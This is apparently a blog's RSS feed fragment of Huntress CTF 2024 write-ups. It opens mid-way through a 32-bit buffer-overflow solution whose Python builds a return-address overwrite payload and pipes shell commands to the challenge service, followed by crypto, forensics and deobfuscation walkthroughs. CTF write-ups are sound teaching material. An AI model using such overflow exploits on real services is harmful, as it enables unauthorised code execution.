&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;addr &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; struct&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;pack(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;I&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#ae81ff&#34;&gt;0x080491a6&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;exp &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; buf &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; addr
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;with&lt;/span&gt; open(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;exploit&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;wb&amp;#34;&lt;/span&gt;) &lt;span style=&#34;color:#66d9ef&#34;&gt;as&lt;/span&gt; f:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    f&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;write(exp)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    f&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;write(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;encode())
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    f&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;write(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;ls&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;encode())
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now it lists the files in the directory it is on as shown below:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/baby-overflow-32bit/4.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;testing ls with exploit&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;And now we have code execution as well. Now it&amp;rsquo;s time to test this on the real thing. The challenge came with a per-user instance. Spinning it up gave a netcat command to the program directly. So I redirected my exploit to the netcat program:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/baby-overflow-32bit/5.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;failure&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;It didn&amp;rsquo;t work. I tried a couple more times to meet with the same result. But &lt;strong&gt;it worked on my machine&lt;/strong&gt;. For those who already figured out what went wrong, well done. It took me quite a while, longer than I would like to admit. You see the problem is that I recompiled the code in my system, which made the addresses different. So I was redirecting the code to a wrong address.&lt;/p&gt;
&lt;p&gt;Since we have the original binary, it will should the same addresses as the one over netcat. So I used objdump to get the address of the target function.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/baby-overflow-32bit/6.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;objdump target&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;Armed with the actual address I need, I put that in my exploit program, generated an exploit and redirected it the netcat program.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/baby-overflow-32bit/7.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;success on remote&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;So it appears there is a file &lt;code&gt;flag&lt;/code&gt; in the same directory as the program. So I added a &lt;code&gt;cat flag&lt;/code&gt; to my exploit and repeated the same.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/baby-overflow-32bit/8.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;got the flag&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;So there it was, the flag. This is quite simple if you know your basics well (and don&amp;rsquo;t do silly mistakes like me).&lt;/p&gt;
</description>
        </item>
        <item>
        <title>Cryptography - No need for brutus</title>
        <link>https://itsmonish.pages.dev/blog/huntress-ctf-2024/crypto-no-need-for-brutus/</link>
        <pubDate>Sat, 26 Apr 2025 17:51:33 +0530</pubDate>
        
        <guid>https://itsmonish.pages.dev/blog/huntress-ctf-2024/crypto-no-need-for-brutus/</guid>
        <description>&lt;h1 id=&#34;no-need-for-brutus&#34;&gt;No need for Brutus
&lt;/h1&gt;&lt;h2 id=&#34;challenge-statement&#34;&gt;Challenge Statement
&lt;/h2&gt;&lt;p&gt;Author:@aenygma&lt;/p&gt;
&lt;p&gt;A simple message for you to decipher:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;squiqhyiiycfbudeduutvehrhkjki&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Submit the original plaintext hashed with MD5, wrapped between the usual flag format: &lt;code&gt;flag{}&lt;/code&gt;&lt;/p&gt;
&lt;h2 id=&#34;solution&#34;&gt;Solution
&lt;/h2&gt;&lt;p&gt;The title includes Brutus who is known for betraying Julius Caesar. Caesar happen to be named after a cipher he created, The Caesar cipher, also known as ROT cipher.&lt;/p&gt;
&lt;p&gt;This suggests that the cipher provided might be a ROT cipher for which we don&amp;rsquo;t know the key for.&lt;/p&gt;
&lt;p&gt;Using &lt;a class=&#34;link&#34; href=&#34;https://cyberchef.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;Cyberchef&lt;/a&gt; we can use the recipe ROT13 Brute Force to list all possible plaintext for the cipher.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/no-need-for-brutus/1.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;Cyberchef result&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;We find a plain text with key value of 10. Since the challenge requires us to use the MD5Sum of this plaintext we can calculate it using:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;echo -n &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;caesarissimplenoneedforbrutus&amp;#34;&lt;/span&gt; | md5sum
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Covering the obtained hash with flag format yields the flag&lt;/p&gt;
</description>
        </item>
        <item>
        <title>Cryptography - Strive Marish Leadman TypeCDR</title>
        <link>https://itsmonish.pages.dev/blog/huntress-ctf-2024/crypto-strive-marish-leadman-typecdr/</link>
        <pubDate>Sat, 26 Apr 2025 17:51:33 +0530</pubDate>
        
        <guid>https://itsmonish.pages.dev/blog/huntress-ctf-2024/crypto-strive-marish-leadman-typecdr/</guid>
        <description>&lt;h1 id=&#34;strive-marish-leadman-typecdr&#34;&gt;Strive Marish Leadman TypeCDR
&lt;/h1&gt;&lt;h2 id=&#34;challenge-statement&#34;&gt;Challenge Statement
&lt;/h2&gt;&lt;p&gt;Author:@aenygma&lt;/p&gt;
&lt;p&gt;Looks like primo hex garbage.&lt;/p&gt;
&lt;p&gt;Maybe something went wrong?&lt;/p&gt;
&lt;p&gt;Can you make sense of it?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: This challenge was accompanied with a per-user instance&lt;/p&gt;
&lt;h2 id=&#34;solution&#34;&gt;Solution
&lt;/h2&gt;&lt;p&gt;On spinning up the per-user instance, I was given a command to use Netcat into the instance.&lt;/p&gt;
&lt;p&gt;On connecting it just print out the following data and exitted.
&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/strive-marish-leadman-typecdr/1.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;data from nc&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;Now if you have worked with cryptosystems you could have recognized what this is right away. But those who don&amp;rsquo;t, this is variable for a RSA public cryptosystem.&lt;/p&gt;
&lt;p&gt;The given are everything that needed to encrypt and decrypt data.&lt;/p&gt;
&lt;p&gt;A quick run down of that is:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;p&lt;/code&gt; and &lt;code&gt;q&lt;/code&gt; are supposed to be very large prime numbers&lt;/li&gt;
&lt;li&gt;&lt;code&gt;n = p * q&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Now a value called Euler&amp;rsquo;s phi function for the value &lt;code&gt;n&lt;/code&gt; is calculated as &lt;code&gt;phi(n) = (p-1)*(q-1)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Now a random value &lt;code&gt;e&lt;/code&gt; is selected such that &lt;code&gt;e &amp;lt; phi(n)&lt;/code&gt; and &lt;code&gt;e&lt;/code&gt; and &lt;code&gt;phi(n)&lt;/code&gt; are co-prime&lt;/li&gt;
&lt;li&gt;This &lt;code&gt;e&lt;/code&gt; is the public key&lt;/li&gt;
&lt;li&gt;Now the corresponding private key is derived such that &lt;code&gt;d*e = 1 mod phi(n)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;With this one can encrypt message &lt;code&gt;m&lt;/code&gt; to cipher &lt;code&gt;c&lt;/code&gt; with public key as &lt;code&gt;c = (m^e) mod n&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;This can be reversed or decrypted using private key as &lt;code&gt;m = (c^d) mod n&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Since we have all the variables and assuming the data in the bottom is ciphertext, this boils down to a simple decrytion.&lt;/p&gt;
&lt;p&gt;I used a tool called &lt;a class=&#34;link&#34; href=&#34;https://github.com/RsaCtfTool/RsaCtfTool&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;rsactftool&lt;/a&gt; to get it done.&lt;/p&gt;
&lt;p&gt;By just plugging in the values of p, q, d, e and data to decrypt, the tool even decoded the output to UTF-8 making my job easier.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/strive-marish-leadman-typecdr/2.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;rsactftool output&#34;
	
	
&gt;&lt;/p&gt;
</description>
        </item>
        <item>
        <title>Forensics - Hidden Streams</title>
        <link>https://itsmonish.pages.dev/blog/huntress-ctf-2024/forensics-hidden-stream/</link>
        <pubDate>Sat, 26 Apr 2025 17:51:33 +0530</pubDate>
        
        <guid>https://itsmonish.pages.dev/blog/huntress-ctf-2024/forensics-hidden-stream/</guid>
        <description>&lt;h1 id=&#34;hidden-streams&#34;&gt;Hidden Streams
&lt;/h1&gt;&lt;h2 id=&#34;challenge-statement&#34;&gt;Challenge Statement
&lt;/h2&gt;&lt;p&gt;Author: Adam Rice (@adam.huntress)&lt;/p&gt;
&lt;p&gt;Beneath the surface, secrets glide,&lt;/p&gt;
&lt;p&gt;A gentle flow where whispers hide.&lt;/p&gt;
&lt;p&gt;Unseen currents, silent dreams,&lt;/p&gt;
&lt;p&gt;Carrying tales in hidden streams.&lt;/p&gt;
&lt;p&gt;Can you find the secrets in these Sysmon logs?&lt;/p&gt;
&lt;p&gt;Attachment: &lt;a class=&#34;link&#34; href=&#34;https://itsmonish.pages.dev/others/huntressctf-2024/hidden-streams/Challenge.zip&#34; &gt;Challenge.zip&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&#34;solution&#34;&gt;Solution
&lt;/h2&gt;&lt;p&gt;The zip contains a EVTX Sysmon log file. You may use the windows event viewer to open this or you could use something like &lt;a class=&#34;link&#34; href=&#34;https://github.com/omerbenamram/evtx&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;evtx_dump&lt;/a&gt; to dump it as XML.&lt;/p&gt;
&lt;p&gt;Some time ago I have watched this &lt;a class=&#34;link&#34; href=&#34;https://www.youtube.com/watch?v=5Bxl6mVSLEk&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;video&lt;/a&gt; from &lt;a class=&#34;link&#34; href=&#34;https://www.youtube.com/@_JohnHammond&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;John Hammond&lt;/a&gt;&amp;rsquo;s Channel where he explains about hiding data about alternate data streams. Since, he is working in Huntress, it gives me enough reason that this might exactly be the case. But we only have an event log.&lt;/p&gt;
&lt;p&gt;A quick internet search on how to find alternate data streams yielded results, but nothing came up in context of event logs. So I had to broaden my search and checked if any event is logged when a data stream is created, written or modified. Soon I found out event ID 15, FileStreamCreateHash, logs creation of streams with hashes and contents in it. Since alternate data streams are also streams this seemed good.&lt;/p&gt;
&lt;p&gt;I used to &lt;a class=&#34;link&#34; href=&#34;https://github.com/omerbenamram/evtx&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;evtx_dump&lt;/a&gt; and grep to filter for event ID 15 and I got a hit. After some tinkering with the how much data I wanted grep to display, I got the event down.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/hidden-streams/1.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;event log&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;Under the content section we can notice some base64 encoded data. Decoding it, got the flag.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/hidden-streams/2.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;flag&#34;
	
	
&gt;&lt;/p&gt;
</description>
        </item>
        <item>
        <title>Forensics - Keyboard Junkie</title>
        <link>https://itsmonish.pages.dev/blog/huntress-ctf-2024/forensics-keyboard-junkie/</link>
        <pubDate>Sat, 26 Apr 2025 17:51:33 +0530</pubDate>
        
        <guid>https://itsmonish.pages.dev/blog/huntress-ctf-2024/forensics-keyboard-junkie/</guid>
        <description>&lt;h1 id=&#34;keyboard-junkie&#34;&gt;Keyboard Junkie
&lt;/h1&gt;&lt;h2 id=&#34;challenge-statement&#34;&gt;Challenge Statement
&lt;/h2&gt;&lt;p&gt;Author: @JohnHammond&lt;/p&gt;
&lt;p&gt;My friend wouldn&amp;rsquo;t shut up about his new keyboard, so&amp;hellip;&lt;/p&gt;
&lt;p&gt;Attachment: &lt;a class=&#34;link&#34; href=&#34;https://itsmonish.pages.dev/others/huntressctf-2024/keyboard-junkie/keyboard_junkie&#34; &gt;keyboard_junkie&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&#34;solution&#34;&gt;Solution
&lt;/h2&gt;&lt;p&gt;Running file command on the attachment reveals it to be a PCAP file. Opening it with a wireshark, a packet analyzer, we can observe USB capture data.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/keyboard-junkie/1.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;usb descriptor&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;On top of the capture we can even see the request and response of USB device descriptor. This is what happens when you connect a USB input device to a host. The host requests the descriptor for what type of device it is and the device responds. Based on the response we can conclude that, the device is a Keyboard.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/keyboard-junkie/2.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;urb in&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;We can also observe a lot of URB (USB Request Block) interrupts in the capture. These are keystrokes recorded by the keyboard. We can&amp;rsquo;t directly see what was typed in as it is not that simple with keyboard. Keystrokes maybe a simple keypress, or a combination of control keys and others. So they have a representation format of their own. This has been explained to good detail in &lt;a class=&#34;link&#34; href=&#34;https://05t3.github.io/posts/Dissecting-USB-Traffic/#decoding-hid-data&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;this&lt;/a&gt; blog.&lt;/p&gt;
&lt;p&gt;To extract the keystroke data, I used &lt;code&gt;tshark&lt;/code&gt; to extract the captured data. This is how the data actually looks like:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/keyboard-junkie/3.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;usb capdata&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;Now we need to decode this data. We can do it ourselves but I thought someone might have already put together a script for this. A quick internet search later, I found a page on &lt;a class=&#34;link&#34; href=&#34;https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/usb-keystrokes&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;hacktricks.xyz&lt;/a&gt; about usb pcap inspection and and how we can decode it using &lt;a class=&#34;link&#34; href=&#34;https://github.com/TeamRocketIst/ctf-usb-keyboard-parser&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;ctf-usb-keyboard-parser&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I then just cloned the repo, put the commands for extraction and execution in &lt;a class=&#34;link&#34; href=&#34;https://itsmonish.pages.dev/others/huntressctf-2024/keyboard-junkie/solve.sh&#34; &gt;solve.sh&lt;/a&gt;. Executing them yielded the flag.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/keyboard-junkie/4.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;flag&#34;
	
	
&gt;&lt;/p&gt;
</description>
        </item>
        <item>
        <title>Forensics - Obfuscation Station</title>
        <link>https://itsmonish.pages.dev/blog/huntress-ctf-2024/forensics-obfuscation-station/</link>
        <pubDate>Sat, 26 Apr 2025 17:51:33 +0530</pubDate>
        
        <guid>https://itsmonish.pages.dev/blog/huntress-ctf-2024/forensics-obfuscation-station/</guid>
        <description>&lt;h1 id=&#34;obfuscation-station&#34;&gt;Obfuscation Station
&lt;/h1&gt;&lt;h2 id=&#34;challenge-statement&#34;&gt;Challenge Statement
&lt;/h2&gt;&lt;p&gt;Author: @resume&lt;/p&gt;
&lt;p&gt;You&amp;rsquo;ve reached the Obfuscation Station!&lt;/p&gt;
&lt;p&gt;Can you decode this PowerShell to find the flag?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Archive password: &lt;code&gt;infected-station&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Attachment: &lt;a class=&#34;link&#34; href=&#34;https://itsmonish.pages.dev/others/huntressctf-2024/obfuscation-station/challenge.zip&#34; &gt;challenge.zip&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&#34;solution&#34;&gt;Solution
&lt;/h2&gt;&lt;p&gt;Extracting the archive, we have a powershell script with the following contents:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/obfuscation-station/1.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;chal.ps1&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;The script seems to decode a base64 data, decompresses it to a stream and converts it to a string and then extracts some characters from an environment variable and joins them. I thought &amp;lsquo;iex&amp;rsquo; and I was right.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/obfuscation-station/2.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;iex&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;So I tried to put the string into a variable and output it. But the script kept throwing errors at me. So I wrote another script mimicking the same logic, but cleaner. Putting them at &lt;a class=&#34;link&#34; href=&#34;https://itsmonish.pages.dev/others/huntressctf-2024/obfuscation-station/solve.ps1&#34; &gt;solve.ps1&lt;/a&gt;, and executing it, gave the flag.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/obfuscation-station/3.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;flag&#34;
	
	
&gt;&lt;/p&gt;
</description>
        </item>
        <item>
        <title>Forensics - Zimmer Down</title>
        <link>https://itsmonish.pages.dev/blog/huntress-ctf-2024/forensics-zimmer-down/</link>
        <pubDate>Sat, 26 Apr 2025 17:51:33 +0530</pubDate>
        
        <guid>https://itsmonish.pages.dev/blog/huntress-ctf-2024/forensics-zimmer-down/</guid>
        <description>&lt;h1 id=&#34;zimmer-down&#34;&gt;Zimmer Down
&lt;/h1&gt;&lt;h2 id=&#34;challenge-statement&#34;&gt;Challenge Statement
&lt;/h2&gt;&lt;p&gt;Author: @sudo_Rem&lt;/p&gt;
&lt;p&gt;A user interacted with a suspicious file on one of our hosts.&lt;/p&gt;
&lt;p&gt;The only thing we managed to grab was the user&amp;rsquo;s registry hive.&lt;/p&gt;
&lt;p&gt;Are they hiding any secrets?&lt;/p&gt;
&lt;p&gt;Attachment: &lt;a class=&#34;link&#34; href=&#34;https://itsmonish.pages.dev/others/huntressctf-2024/zimmer-down/NTUSER.DAT&#34; &gt;NTUSER.DAT&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&#34;solution&#34;&gt;Solution
&lt;/h2&gt;&lt;p&gt;The attachment is the NTUSER.DAT file of some windows host. NTUSER.DAT is a special file that is located in the userprofile of each user. This file stores the registry keys of a particular user, also called as registry hives.&lt;/p&gt;
&lt;p&gt;One may open it by loading the hive onto the windows registry editor or use tools to explore the keys directly. I used a tool called &lt;code&gt;reglookup&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The challenge description says that the user interacted with a &amp;ldquo;suspicious&amp;rdquo; file. So, if a user interacted with it, then it must be noted under RecentDocs folder in the hive. Using &lt;code&gt;reglookup&lt;/code&gt; I could list the keys under the RecentDocs folder using the command:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;reglookup -p /Software/Microsoft/Windows/CurrentVersion/Explorer/RecentDocs NTUSER.DAT 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;There were several entries in there but not a lot. Going through those, the below entry caught my eye.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/zimmer-down/1.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;sus entry&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;Why? It is unusually long. And it had a file extension type I didn&amp;rsquo;t recognize, .b62. Of course most of the data is URL encoded, so put it in cyberchef to decode it.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/zimmer-down/2.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;url decode&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;URL decoding didn&amp;rsquo;t change much, but allowed me to see that it was not a .b62 file but rather a .lnk file. But we don&amp;rsquo;t have access to the file, so we can&amp;rsquo;t analyze the file. Then it hit me, the name of the file was unusually long, and don&amp;rsquo;t seem random. Looks like a encoding, then it again hit me, .b62 refers to base62 encoding.&lt;/p&gt;
&lt;p&gt;So I found a &lt;a class=&#34;link&#34; href=&#34;https://base62.js.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;base62 decoder&lt;/a&gt; on the internet and put in the file name. Decoding it gave the flag.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/zimmer-down/3.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;flag&#34;
	
	
&gt;&lt;/p&gt;
</description>
        </item>
        <item>
        <title>Malware - Discount Programming Devices</title>
        <link>https://itsmonish.pages.dev/blog/huntress-ctf-2024/malware-discount-programming-devices/</link>
        <pubDate>Sat, 26 Apr 2025 17:51:33 +0530</pubDate>
        
        <guid>https://itsmonish.pages.dev/blog/huntress-ctf-2024/malware-discount-programming-devices/</guid>
        <description>&lt;h1 id=&#34;discount-programming-devices&#34;&gt;Discount Programming Devices
&lt;/h1&gt;&lt;h2 id=&#34;challenge-statement&#34;&gt;Challenge Statement
&lt;/h2&gt;&lt;p&gt;Author: @sudo_Rem&lt;/p&gt;
&lt;p&gt;I used a tool on the internet to obfuscate my script!&lt;/p&gt;
&lt;p&gt;But I lost it, and I don&amp;rsquo;t know how to get it back.&lt;/p&gt;
&lt;p&gt;Maybe you can help?&lt;/p&gt;
&lt;p&gt;Attachment: &lt;a class=&#34;link&#34; href=&#34;https://itsmonish.pages.dev/others/huntressctf-2024/discount-programming-devices/oops.py&#34; &gt;oops.py&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&#34;solution&#34;&gt;Solution
&lt;/h2&gt;&lt;p&gt;In this challenge, we have a python script that has a lambda function declaration assigned to an underscore &lt;code&gt;_&lt;/code&gt;. It takes an argument &lt;code&gt;__&lt;/code&gt; and has the contents as:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;_ &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;lambda&lt;/span&gt; __ : __import__(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;zlib&amp;#39;&lt;/span&gt;)&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;decompress(__import__(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;base64&amp;#39;&lt;/span&gt;)&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;b64decode(__[::&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;]))
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;What&amp;rsquo;s going on here is simple. The argument &lt;code&gt;__&lt;/code&gt; is reversed, and passed to base64 decoder and then in turn passed to the decompress function from the &lt;code&gt;zlib&lt;/code&gt; module.&lt;/p&gt;
&lt;p&gt;Following this declaration, is an exec function call that references the function pointer and passes on a very lengthy argument. Since the size of the argument was long, I figured it might take several passes to get to the end, so I put a script together &lt;a class=&#34;link&#34; href=&#34;https://itsmonish.pages.dev/others/huntressctf-2024/discount-programming-devices/process.py&#34; &gt;process.py&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/discount-programming-devices/1.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;processing&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;With the script, we can see that it took 50 passes and finally we have another python code at the end of it. It seems to be of the same logic, but putting the contents in &lt;a class=&#34;link&#34; href=&#34;https://itsmonish.pages.dev/others/huntressctf-2024/discount-programming-devices/final.py&#34; &gt;final.py&lt;/a&gt; and executing it gave me the flag.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/discount-programming-devices/2.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;flag&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;Now it really seems straightforward. But did I actually do anything? I just did what the script would&amp;rsquo;ve done but in separate steps. So just to check, now that I know what the script is, I ran the &lt;a class=&#34;link&#34; href=&#34;https://itsmonish.pages.dev/others/huntressctf-2024/discount-programming-devices/oops.py&#34; &gt;oops.py&lt;/a&gt; directly. It gave the flag just like that.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/discount-programming-devices/3.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;oops&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;So I was wondering what was the point, but didn&amp;rsquo;t really think much of it. Then going through the CTF discord server, the challenge author admitted it was indeed a mistake.&lt;/p&gt;
</description>
        </item>
        <item>
        <title>Malware - Eco Friendly</title>
